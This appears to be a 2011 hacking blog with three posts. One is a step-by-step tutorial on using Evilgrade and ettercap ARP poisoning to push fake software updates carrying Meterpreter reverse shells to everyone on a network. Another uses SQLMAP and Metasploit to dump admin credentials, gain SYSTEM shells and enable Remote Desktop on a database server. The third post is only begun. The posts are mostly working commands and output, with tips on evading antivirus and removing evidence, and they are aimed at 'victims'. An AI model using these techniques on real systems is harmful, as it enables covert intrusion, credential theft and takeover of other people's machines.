Wednesday, May 18, 2011

SILENTLY Owning the Network with ISR EVILGRADE

Evilgrade is a modular framework designed to take advantage of HD Moore & Dan Kaminsky's DNS exploits in tandem with insecure application update mechanims to inject and execute Meterpreter shells or your RAT amlost entirely SILENT on fully patched Windows and OSX machines. This tool works by using man-in-the-middle techniques (DNS, ARP, DHCP, etc) to exploit a wide variety of applications. Today I am going to show you the basics of how to get it it properly installed and setup as well as how to use it to pull of some really amazing techniques to pawn victims on your network (WLAN & LAN only folks). Before we begin I should point out that I will be performing this on the new BT5 platform (GNOME edition) as it already comes with Metasploit, and other tools needed to pull off MiTM attacks. You will also need to download a copy of Evilgrade to your BT5 Desktop, which can be downloaded from homepage found at the following location:
(just click on download link in bottom right). This tutorial will be done almost entirely from the command prompt, so please dont ask why you couldn't double click point and shoot to make it work. I will classify this one as Intermediate in nature as it is all from command line and requires some initial steps to get it working. If you are at all familiar with working on Cisco Routers or other IOS type CLI environments then this will be a piece of cake. Let's begin, try to keep up...

You will need to start by extracting Evilgrade once it has been downloaded from the homepage, for this you can use the following commands:

Commands: tar -zxvf
root@bt:~/Desktop/EvilGrade2.0# tar -zxvf isr-evilgrade-2.0.0.tar.gz
      NOTE: you can add the -C argument followed by the path if you want to extract it
      to another location other than where it is sitting after it was downloaded
              EX: root@bt:~/Desktop/EvilGrade2.0# tar -zxvf isr-evilgrade-2.0.0.tar.gz
              -C /pentest/exploits/ISR

Now you will have a new folder called "isr-evilgrade" either in the default location on your desktop or where you told it to go with the -C argument noted above. Navigate to this folder and you can start it up...maybe. By default Backtrack does not have all of the underlying Perl modules needed for the framework to work, so we will need to make some quick additions to instlal those dependencies, as follows:

You can try to start Evilgrade to check byu simply entering the following at commadn prompt and hitting enter: ./evilgrade
If you are using a fresh BT 5 install then you will get the following results:
root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade# ./evilgrade
Can't locate Data/ in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.1 /usr/local/share/perl/5.10.1 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at isrcore/ line 28.
BEGIN failed--compilation aborted at isrcore/ line 28.
Compilation failed in require at (eval 2) line 3.
 ...propagated at /usr/share/perl/5.10/ line 93.
BEGIN failed--compilation aborted at isrcore/ line 29.
Compilation failed in require at ./evilgrade line 24.
BEGIN failed--compilation aborted at ./evilgrade line 24.

Take note of the dependency missing above (Data/ EvilGrade requires the following perl modules to work 100%: Data::Dump, Digest::MD5, and Time::HiRes
      For BackTrack5 we will need to install Data::Dump, and to do this you
      can use the following commands:

Command to search for package: apt-cache search perl <insert package name looking for>
     EX: apt-cache search perl Data::Dump
          NOTE: the package name usually starts with lib and ends with -perl, like:
          libsomething-perl, and results should provide basic description as well
                  What we need: libdata-dump-perl - Perl module to help dump data structures
Command to Install the package (using name found above): apt-get install <package name>
     EX: ap-get install libdata-dump-perl
Once this is installed you should be able to re-check to see if anything else is needed (nothing else is needed for BT5, but if you are using BT4 you might also have to install one of the other two dependecies listed above). We can re-check by simply typing the following:

Command: ./evilgrade
Results this time around:
root@bt:~/Desktop/EvilGrade2.0/isr-evilgrade# ./evilgrade
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
[DEBUG] - Loading module: modules/
                _ _                             _     
               (_)  |         _               | |    
     _____      | ___|  | __ _ _ _| | ___
 / _ \  \   / / |  |/ _`  | '__/ _` |/ _` |/   _ \
|  __/\  V /| |  | (_|  |  |  | (_|  | (_| |   |__/
 \___| \_/ |_|_|\__, |_|  \__,_|\_,_|\___|
                     __ /  |                     
- 63 modules available.
Now that we have it running what next you might be asking? Let's start by seeing what all is available when we begin, start by simply typing in "help"...
Type 'help command' for more detailed help on a command.
    configure - Configure <module-name> - no help available
    exit      - exits the program
    help      - prints this screen, or help on 'command'
    reload    - Reload to update all the modules - no help available
    restart   - Restart webserver - no help available
    set       - Configure variables - no help available
    show      - Display information of <object>.
    start     - Start webserver - no help available
    status    - Get webserver status - no help available
    stop      - Stop webserver - no help available
    version   - Display framework version. - no help available
    vhosts    - Show vhosts enable - no help available
We can check what modules are available to see what types of SW we can target by using the "show modules" command from the evilgrade command prompt.
Results...from: evilgrade>show modules
List of modules:
- 63 modules available.

As you can see there are a lot of modules available and I assure you that you can find many of these on almost any PC (lots of times more than one). Now you will need to identify which one you want to work with. Most of the demos provided by the creators of this cool tool show the "sunjava" module being used, so I thought I would use something different, you can use what you want or what you know your target will have running. Once you have made up your mind about which module(s) we will use it is time to start setting things up. We will begin by letting Evilgrade know which module we want to use, like so:

Command: evilgrade>configure <insert module name you chose>
     EX: evilgrade>configure ccleaner

You will know you are in the chosen modules configuration mode, which is noticable as the command prompt will change and now appear as follows:

Results...from above: evilgrade>configure ccleaner...

OK so now to check what all is configurable for a chosen module. We can do this by simpy typing "show options" at the configuration level command prompt.

evilgrade(ccleaner)>show options
Display options:
Name = Ccleaner
Version = 1.0
Author = ["German Rodriguez < grodriguez +[AT]+ >"]
Description = ""
VirtualHost = ""
| Name   | Default                | Description     |
| enable |                 1           | Status              |
| agent   | ./agent/agent.exe | Agent to inject |
You can see that "VirtualHost" is set to, this is the virtual host the Evilgrade will impersonate once we get things running and start our MiTM attack. If you notice these have changed over time or you know of "secret" update servers you can simply edit this field to change.
       PRO-TIP: You can edit the perl modules in the "modules" folder within
       isr-evilgrade folder if you know what you are doing to edit the VirtualHost settings,
       but if you are not familiar with Perl then I dont suggest messing with these
       and simply leaving as default will do for most scenarios. These can also be
       studied to add in your own modules for other applications and some basic
       instructions can be found within the tools documentation and README file.

The AGENT field is the MOST IMPORTANT field we will be working ith for this tutorial as it will be our evil agent in disguise, it is the fake update binary. We have two options for setting up our agent in disguise:
  •  OPTION 1: We can set up Evilgrade to work with Metasploit and msfpayload/msfencode to dynamically create payloads on the fly
  •  OPTION 2: We can use our own RAT or backdoor to be uploaded to our victims.
We can accomplish either scenario using the "set" command and defining the AGENT field, by providing a path to Metasploit's msfpayload and msfencode OR by providing path directly to your RAT or backdoor.
Here is overview of both methods with examples so you can more clearly understand:
OPTION 1: let Metasploit helpout and generate payload on the fly 
Command: evilgrade(ccleaner)>set agent '["/usr/local/bin/msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=31337 X > <%OUT%>/tmp/agent.exe<%OUT%>"]'
        NOTE: If you are not using BT5 just make sure the first part
        (/usr/local/bin/msfpayload) points to where the path variable is located so
        the framework can use it, as it BT4 it is located at /usr/bin/msfpayload.
                PRO-TIP: You can replace the above example using meterpreter reverse shell
                with your choice of the available payloads in Metasploit (of which there are many)
 SUPER-PRO-TIP: If you want to avoid anti-virus from catching your agent due to Meterpreter being blasted all of the place, you can modify the above command to also encode the agent so it has a better chance of passing AV. Here is an example you can work with, note that msfencode only encodes RAW data so it needs to be RAW and then converted to binary EXE format to work (also why you cant just encrypt your standard RAT with msfencode)

EX: evilgrade(ccleaner)>set agent '["/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > <%OUT%>/tmp/agent.exe<%OUT%>"]'
In this case for every required update binary or victim request we get, the framework will generate a fake update binary using our dynamic link to MSF which will load a encoded Meterpreter reverse shell.
OPTION 2: Using our own RAT or backdoor with hard coded path to EXE. You will simply need to place your RAT or backdoor of choice in a designated folder and then tell the framework where to find it, it is as simply as this:

Command: evilgrade(ccleaner)>set agent /root/Desktop/server.exe
      NOTE: msfecode will not be able to help you FUD your payload if it
      is already in Binary EXE form, so make sure it is FUD to avoid any issues
      with AVs ahead of time
In this case for every required update binary or victim request we get, the framework will simpoly use your designated RAT/Backdoor to create the update agent

IMPORTANT NOTES: You will need to setup the "exploit/multi/handler" from within MSF console to monitor connections made from our Meterpreter Shell (if you are using your own RAT or Backdoor I will assume you know how to monitor for connections and successful uploads).

From MSF Console, type the following commands:
   use exploit/multi/handler
   set payload=windows/metepreter/reverse_tcp
   set LHOST=
   set LPORT=31337

[*] Started reverse handler on
[*] Starting the payload handler...

When we are done making our configuration changes we will simply enter the "conf" command to get out of configuration mode and back to initial command prompt, or as the authors call it Global Conifuration Mode. You can repeat the above steps for other modules to have more than one setup at once. We will also want to issue the "reload" command so that the framework will update all of the modules to include the updates we made above at the configuration level (for the module ccleaner in this example). Once that is done you can issue the "show active" commands to show the active modules you have configured.


OK so we have configured our modules to reference the appropriate AGENT we want to use, now it is time to place the final edits and start things up...

From the Global Configuration Mode you will need to enter "show options" to see how Evilgrade is setup to act as DNS and Webserver as well as what ports it is working on.

Command: evilgrade>show options
Display options:
| Name                | Default   | Description                                                                         |
| DNSEnable      |         1      | Enable DNS Server ( handle virtual request on modules ) |
| DNSAnswerIp | | Resolve VHost to ip  )                                                         |
| DNSPort          |        53     | Listen Name Server port                                                     |
| debug               |         1      | Debug mode                                                                        |
| port                  |        80     | Webserver listening port                                                     |
| sslport              |       443    | Webserver SSL listening port                                             |
As you can see we need to change a few things. We will need to change the "DNSAnswerIp" to point at our IP on the network, in this example

Command: evilgrade> set DNSAnswerIp
Confirm with: evilgrade>show options
Display options:
| Name                | Default       | Description                                                                         |
| DNSEnable      |         1          | Enable DNS Server ( handle virtual request on modules ) |
| DNSAnswerIp | | Resolve VHost to ip  )                                                         |
| DNSPort          |        53         | Listen Name Server port                                                     |
| debug               |         1          | Debug mode                                                                        |
| port                  |        80         | Webserver listening port                                                     |
| sslport              |       443        | Webserver SSL listening port                                             |

Starting, stopping and checking the status of Evilgrade is equally as easy. You simply issue "start", "stop", or ":restart" to do the obvious, and you can check the status of things by issuing the "status" command.
        NOTE: the "status" command will get information regarding the webserver
        and DNS server status (running or not) as well as any victim details)

Command: evilgrade>start
[18/5/2011:15:34:4] - [WEBSERVER] - Webserver ready. Waiting for connections ...
[18/5/2011:15:34:4] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
evilgrade>show status
Webserver (pid 666) already running
Users status:
| Client              | Module                 |  Status  | Md5,Cmd,File                                                 |
+-----------  ----+----------------------+---------+------------------------------------------------------+
|   | modules::ccleaner |  send    | MD5-Hash-Value,'',"./agent/agent.exe"          |
Stopping WEBSERVER  [OK]
Stopping DNSSERVER  [OK]

OK so that is all there is to setting up Evilgrade! From here you just need to pull off a Man-in-the-Middle (MiTM) attack so you can start redirecting DNS traffic and then restart Evilgrade so it can work its magic. I suggest leaving Evilgrade running in one terminal window and opening another window up to pull off the MiTM attack. The MiTM attack has been well documented using all sorts of tools. Please read up on the various methods that can be used for this portion of the tutorial as there are many ways to go about doing this, but I will cover one basic example using Ettercap to redirect traffic on a specific target so you can complete our testing of this method without leaving you hanging.

Getting MiTM attack working so Evilgrade can do its thing - MiniTutorial:Open new terminal in BackTrack5 and type the following:
Command: ifconfig
      Take note of your IP address, default gateway and interface name
Command: nmap -sP 10.10.10.*
      This will perform a quick pin sweep of the network, you can change
      the 10.10.10.* to fit your need based on ifconfig results above (i.e. 192.168.1.*)
Command: echo 1 > /proc/sys/net/ipv4/ip_forward
      This ensures packet forwarding is turned on
           Confirm: cat /proc/sys/net/ipv4/ip_forward
                Result: should return a one (1) to indicate port forwarding is enabled
Command: ettercap -T -Q -M ARP -i eth0 /victim-ip/ /gateway-ip/ -l capturefile -P autoadd
 -T starts ettercap in text mode
        NOTE: You could envoke ettercap with the -G argument only, to open the GTK GUI
        for ettercap and then pick and choose the plugins to use from the GUI (noobs)
 -Q will make ettercap run in Quiet mode, and not print raw packets in the terminal window
        NOTE: if you want to see everything or to look cool just omit this flag
 -M starts MiTM attack mode
        NOTE: You can combine all of the above into one argument to simplify
        things '-TQM' or separated individually
 ARP is the type of poisoning we want to perform while in MiTM mode
 -l capturefile tells ettercap to log captured data into file called "capturefile"
        NOTE: you can cahnge the capture file name to anything you want
             PRO-TIP: you can add more code to have this filtered on the fly for logins
             and credentials with minimal effort or you can sort through it offline later
             with Wireshark or your capture analysis tool of choice. It is also possible
             to add SSLstrip to the equation but you will need to figure that out as I
             dont have time to cover that here...
 -P autoadd - is a way to tell ettercap to use the plugin autoadd, which as it sounds is a plugin that automaticlly adds hosts to the list after it is started in case any come online after it is initially started
        NOTE: you can add other plugins here or leave out entirely, it is up to you
 -i eth0 specifies the network interface
 /victim-ip/ is the ip address we want to affect, or in this case arp poison
        NOTE: you can leave simply as "//" to indicate you want to perform the task
        on the ENTIRE network
 /gateway-ip/ is the ip address we want to use to essentially impersonate
        NOTE: this does not have to be the gateway, but in most cases this will have the best results.

EX: ettercap -TQM ARP // // -P autoadd
       This ARP poisins the whole network, adding any new hosts that show up late to our party ;)

If you fill in the /"victim-ip"/ and /"gateway-ip"/ and run this command it will start ARP poisoning all hosts on the network that you have identified. Once this is done Evilgrade will sart picking up the traffic and begin forging secret agents to pawn your victims. At this point just sit back and watch the sessions stack up in your multi-handler terminal (or wherever you view your connections for your RAT/Backdoor). You should remember to use the proper method to close ettercap so it properly restores the routing tables on the victims when you are done (just hit "q" in terminal screen while it is running and give it a second to shutdown) dont have to but it will go less noticed if you do.

Personal Note: I find it's also nice to save the iptables for future use. I suggest saving them before and reloading them once you are done and have ended all the stuff you have running;
Command: iptables-save <filename>
Command: echo 0 > /proc/sys/net/ipv4/ip_forward
      Confirm: cat /proc/sys/net/ipv4/ip_forward
           Result: should return a zero (0) to indicate port forwarding is turned off
           PRO_TIP: If you simply want to permanently set this to forward, you can
           edit the /etc/sysctl.conf file to uncomment the forwarding line
Command: iptables-restore <filename>

General Note: If you are performing this or any of the other steps in this tutorial on another Linux distro you may have to run "sudo" in front of all the commands to work, not in issue in Backtrack as you run as root by default. You can download ettercap using apt-get (apt-get install ettercap) if you need that as well.

I hope you have enjoyed this tutorial as I know I had fun documenting things to share with you, and remember to always be aware of your surroundings before you start clicking away and allowing things to do what they please. Do not put all your faith in a company name, and take off your auto-updaters or dont allow them to update unless you are on a secure network that you know is safe. Enjoy and stay tuned for more to come when I return in a few weeks....

Tuesday, May 17, 2011

Owning the Database with SQLMAP and METASPLOIT

Last time we were using SQLMAP from Windows platform and could not realize its full potential so today I will be trying to teach you how to use it from Linux platform to take advantage of all that it has to offer. We will begin by booting up our favorite Linux distro of choice; I will be using BackTrack 4R2 for purposes of this tutorial - it is not required but helps because everything is mostly setup already (mostly Metasploit). Once you have your networking services started and a confirmed working version of Metasploit installed you should have everything how you want it for a stable work environment we will begin by downloading the latest copy of SQLMAP to our system. You can find it online at: or you can check it out from the terminal by using the following commands:

EX: svn checkout sqlmap-dev
      NOTE: if using svn you may need to accept certificate to download, this is safe so
      you shouldnt have to worry...

Once it is done downloading you will have a new folder on your Desktop called "sqlmap-dev", and inside is what we will be using for the remainder of this tutorial - "". In order to confirm it is properly setup lets just issue a quick command to take a peek at what we will be using today:

EX: python --help

This will display all of the options available for SQLMAP. I will not go into too much details on the basics as they were covered in my first tutorial. I will be picking up where we left off in the previous tutorial, quick recap:

Command: python -u -f -b --current-user --current-db --dbs --is-dba
Current User:    'user@localhost'
Current Database: database1
System Users [1]: 'user'@'localhost'
Current User is DBA:    'False'
Available Databases [5]:
 [*] information_schema
 [*] database1
 [*] database2
 [*] database3
 [*] database4
Command: python -u --tables -D database1
Database: database1
[13 tables]
| access             |
| action             |
| ad                   |
| adcriteria        |
| adminhelp       |
| administrator   |
| adminlog         |
| adminmessage |
| bbcode            |
| config              |
| db_users          |
| users                |
| etc                   |
Command: python -u --columns -D database1 -T administrator
Database: database1
Table: administrator
[3 Columns]
| Column |     Type         |
| user      | varchar(250) |
| pass      | varchar(250) |
| ID        |  int(11)           |
| etc       |  varchar(100) |
Command: python -u --dump -D database1 -T administrator -C ID,Password,user
Database: database1
Table: administrators
[2 entries]
| ID   |              Password             |   User       |
| 1     |  IhazYOURpassWORD    |   admin    |
| 2     | IhazYOURpassWORDtoo| JohnDoe  |
We have got Admin credentials! I hope they work on cpanel... we have pulled all that we can from this server using SQLinjection, or have we? NOT EVEN CLOSE...
Since we have changed platforms and are now running on Linux with Metasploit also installed it is time to start putting SQLMAP to some real ninja work. Let's see what we have to work with: COmmand: --help
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system.
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

As you can see quit a few options, but all require Linux and working Metasploit as dependancy which is why I did not cover them on the last tutorial. We will begin with '--os-cmd' and work our way down from there explaining the different attack methods as we go...

We can try to run operating system commands using: '--os-cmd' and/or '--os-shell'
It is possible to execute commands on the database server's underlying operating system when the back-end DBMS is running either MySQL, PostgreSQL or MSSQL Server, AND the session user has the necessary privileges for the database. If you want to understand how SQLMAP accomplishes things please visit the homesite for the product or read the docs included with download as I dont have the time to go into that here, just know it works and is very capable and the methods used can change slightly based on whether or not you need to see/retrive the response back on screen or not...
These techniques are also well detailed in the white paper which is linked from the homesite's main page, called "Advanced SQL injection to operating system full control". The basic command structure looks like this:

EX: python -u "" --os-cmd id -v 1

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL
[16:09:15] [INFO] fingerprinting the back-end DBMS operating system
[16:09:15] [INFO] the back-end DBMS operating system is Linux
[16:09:18] [INFO] testing if current user is DBA
[16:09:25] [INFO] detecting back-end DBMS version from its banner
[16:09:25] [INFO] checking if UDF 'sys_eval' already exist
[16:09:35] [INFO] checking if UDF 'sys_exec' already exist
[16:09:35] [INFO] creating UDF 'sys_eval' from the binary UDF file
[16:09:35] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(mysql) gid=106(mysql) groups=106(mysql)'
[16:09:37] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[16:09:45] [INFO] database management system cleanup finished
[16:09:45] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

You should choose "YES" to most of the prompts unless you know what you are really doing. This is especially true for the cleanup phase to remove the user added functions which allow the takeover to take place (thus removing one more piece of evidence)...
If SQLMAP has not confirmed stacked queries can be used (i.e. PHP or ASP with back-end database management system running MySQL) and the DBMS is MySQL, it is still possible to perform successful attack using the "INTO_OUTFILE()" function to create a web backdoor in a writable folder within the web server document root allowing command execution (assuming the back-end DBMS and the web server are hosted on the same server - if not then all bets are off!). IF this scenario is detected SQLMAP will prompt the user for additional targets to try and upload the web file stager and backdoor to. The tool has pre-built features allowing you to choose from SQLMAP's file stagers and backdoors for the following languages: ASP, ASP.NET, JSP, and PHP (which is the default option). You will be prompted to make these selections to aid the tool in getting the job done when you run the initial takeover command using '--os-cmd' argument.
In addition to executing commands on the underlying OS you can also prompt for a direct SQL Shell to work from using the '--os-shell' argument. It simulates a real shell that will allow you to execute arbitrary commands as you wish, and as many as you need. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has or owuld be exeprienced in most Shell evironments. Another alternative is simply adding your commands with the '--sql-query  feature like so:

EX: -u --sql-query "SELECT @@datadir"
     NOTE: Sometimes SQLMAP will find an injection spot but fail to pull anything useful,
     so it is worth doublechecking your commands here to test the accuracy of results or
     to find certain bits of data that SQLMAP might not have included in the base set
     of commands (like the example above used to find local directory for SQL installation)

More Takeover Techniques? You bet ya...
If the Database Server is hosted on a Windows machine you can also use SQLMAP to read and write changes to the system registry. This is possible when the DBMS is running MySQL, PostgreSQL or Microsoft SQL Server AND supports stacked queries. The current session user will also need the proper privileges to access it.

Arguments that can be used:
 '--reg-read' used to read registry key values.
 '--reg-add' used to write regitry key values
 '--reg-del' used to delete registry keys values
 Auxiliary registry switches: '--reg-key', '--reg-value', '--reg-data' and '--reg-type'
 Auxiliary switches can be used as additional arguments to define registry specifics for running the main arguments to skip interactrive prompts
 '--reg-key=PATH' used to specify key path for Windows registry
 '--reg-value=NAME' used to define value item name inside provided key
 '--reg-data=VALUE' used to define value data
 '--reg-type=TYPE' used to define the type of value

Here is an example of what it would look like if we wanted to check the remote Windows S2k3 target to see if Remote Desktop is enabled alredy:

EX: -u --reg-read --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections

...Good thing we are persistant ;)

To enable the Remote Desktop feature on the target machine so we could then remote in using some of the credentials we dumped from the database earlier :)

EX: -u --reg-add --reg-key="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" --reg-value=fDenyTSConnections --reg-type=DWORD --reg-data=0

Now issue the '--reg-read' command again to confirm the value was updated and returns a value of 1.
      NOTE: On most systems this would require a system restart so this may not be all
      that helpful in real life settings, but this should give you an idea of what you can
      be capable of as the options are only limited by you knowledge o the system registy
      so get to studying...
More Takeover Techniques? Yeah, I got a few more for you... that is what SQLMAP is capable of on its own, now let's see what we can do when we add Metasploit to the equation and test SQLMAP using Out-of-band stateful connections (i.e using Metasploit modules & Meterpreter), using the following arguments/switches to put it all together: '--os-pwn', '--os-smbrelay', '--os-bof', '--priv-esc', '--msf-path' and '--tmp-path'. Each of these options will perform different attacks to try and take over the database server. These switches arguments can be used to get an interactive command prompt, a Meterpreter session or a VNC session.
SQLMAP relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server.

These techniques are:
  1. Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL. Switch or argument to use attack method: '--os-pwn'
  2. Upload and execution of a Metasploit's stand-alone payload stager via sqlmap's own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL. Switch or argument to use: '--os-pwn'
  3. Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to the your machine where the Metasploit smb_relay server exploit is setup and listening. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows. Switch or argument to use attack method: '--os-smbrelay'  _3a) This requires setup of SMBrelay attack from Metasploit's ./msfconsole
  4. 4) Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow ( MS09-004).  _4a) sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but  it relies on Metasploit to generate the shellcode to get executed upon successful exploitation. Switch or  argument to use attack method: '--os-bof'
  5. Let's begin with option 1: '--os-pwn'
EX: python -u "" --os-pwn --msf-path /pentest/exploits/framework3

Most important thing to note here is that we are defining the path to Metasploit using the '--msf-path' argument to tell sqlmap where to look so it can get Metasploit to prepare the shellcode to be used for the attack. (NOTE: I beleive this is one of the reasons it doesnt work on Windows as the path will not use Windows friendly path names/formatting and it seems to be hard coded for Linux use only). This will work similarly to the previous outline aboev for '--os-cmd' in that SQLMAP will do everything possible to make it work without user interaction but it may prompt you to identify the document root folder so it knows where to try and upload to make it work. You can also provide comma separated alternatives as additional otions/places to try.
Results from above '--os-pwn' command...
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[16:10:05] [INFO] fingerprinting the back-end DBMS operating system
[16:10:05] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
[16:10:05] [INFO] testing if current user is DBA
[16:10:05] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
[16:10:05] [INFO] checking if UDF 'sys_bineval' already exist
[16:10:06] [INFO] checking if UDF 'sys_exec' already exist
[16:10:09] [INFO] detecting back-end DBMS version from its banner
[16:10:09] [INFO] retrieving MySQL base directory absolute path
[16:10:11] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[16:10:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
which is the local address? []
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
[16:10:15] [INFO] creation in progress ... done
[16:10:15] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
          =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
          =[ svn r12655 updated today (2011.05.17)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
[*] Started reverse handler on
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to
[*] Meterpreter session 1 opened ( -> at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  :
Netmask     :
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  :
Netmask     :
meterpreter > exit
[*] Meterpreter session 1 closed.  Reason: User exit
By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user "postgres" on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.
It is also possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( MS10-015).
This brings us to the end of this adventure. I hope you have enjoyed these last few articles on some different methods to performing SQL injection with this great tool called SQLMAP. I can only think of one other topic for which I might cover this tool again and that would be how to use it to attack an ORACLE database like the new 10g or 11g but we will see (not sure if I have any time anytime soon). I am also leaning towards a quick mini article on SQLNINJA a similar tool whose goal is less focused on extracting data and more focused on getting full access to underlying OS and really has some neat features built into it and then on to bigger and better topics. I hope to bring you more tutorials and introductions to other great tools in the near future, until then please stay tuned and check back often for updates. Until next time - H.R.

Monday, May 9, 2011

This ain't your standard $GET request!

Today I will show you how to use SQLMAP to perform SQL injections via $POST. I should point out that this is not all that common of a vulnerability in the wild these days, but it is very good to know and should be tested before you give up all hopes on your target site. I would rate this as Intermediate in nature, due to complex nature of orchestrating things to work, but it is not all that hard to do if you give it a few tries. Here we go, try to keep up...

Start off by making sure you have the following requirements:
  • Burpsuite (latest copy - free version is fine)
  • Download from Homepage:
  • Just download and run burpsuite_v1.3.03.jar file (version number may change)
  • Requires JRE Environment to be installed to run, platform independant
  • SQLMAP (latest copy - Open Source=FREE)
  • Download from Homepage: 
  • Requires Python to be installed, platform independant although not all features capable on Windows platform
